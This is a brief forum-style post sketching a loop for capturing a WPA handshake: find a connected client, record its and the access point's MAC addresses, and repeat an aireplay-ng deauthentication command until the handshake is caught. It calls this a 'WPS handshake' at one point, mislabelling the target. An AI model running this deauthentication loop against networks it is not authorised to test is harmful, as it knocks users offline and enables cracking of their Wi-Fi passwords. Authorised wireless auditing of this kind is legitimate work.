It should not necessarily need another button when collecting the WPA handshake. you could have something like this. 1 check to see if client is connected to AP 2 if client is connected put mac address of client in variable $client 3 put AP mac address in variable $AP 4 aireplay-ng -0 2 -a $AP -c $client wlan0 5 check to see if you have collected WPS handshake 6 sleep 16 7 repeat from line 4 until you have the handshake